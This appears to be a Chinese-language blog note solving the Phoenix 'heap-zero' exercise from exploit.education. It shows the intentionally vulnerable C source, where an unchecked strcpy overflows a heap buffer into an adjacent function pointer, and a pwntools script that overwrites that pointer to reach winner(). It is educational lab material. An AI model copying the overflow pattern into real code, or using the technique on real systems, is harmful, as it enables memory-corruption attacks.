BuringStraw

BuringStraw

[pwn筆記6] heap-zero (phoenix)

heap-zero#

/*
 * phoenix/heap-zero, 由 https://exploit.education 提供
 *
 * 你能劫持流程控制並執行 winner 函式嗎?
 *
 * 為什麼 C 程式設計師是好的佛教徒?
 * 因為他們不是物件導向的。
 */

#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BANNER \
  "歡迎來到 " LEVELNAME ",由 https://exploit.education 提供"

struct data {
  char name[64];
};

struct fp {
  void (*fp)();
  char __pad[64 - sizeof(unsigned long)];
};

void winner() {
  printf("恭喜你,你已通過此關卡\n");
}

void nowinner() {
  printf(
      "關卡尚未通過 - 函式指標尚未被覆寫\n");
}

int main(int argc, char **argv) {
  struct data *d;
  struct fp *f;

  printf("%s\n", BANNER);

  if (argc < 2) {
    printf("請指定要複製的引數 :-)\n");
    exit(1);
  }

  d = malloc(sizeof(struct data));
  f = malloc(sizeof(struct fp));
  f->fp = nowinner;

  strcpy(d->name, argv[1]);

  printf("資料位於 %p,函式指標位於 %p,將呼叫 %p\n", d, f, f->fp);
  fflush(stdout);

  f->fp();

  return 0;
}

在堆上分配時,d 和 f 竟然挨在一起,真是神奇!

#!/usr/bin/env python3
from pwn import *
payload = b"a"*(0x60-0x10)
payload += b"\xbd\x0a\x40"
open("/home/user/buf","wb").write(payload)
p=process(["/opt/phoenix/amd64/heap-zero",payload])
p.interactive()
載入中......
此文章數據所有權由區塊鏈加密技術和智能合約保障僅歸創作者所有。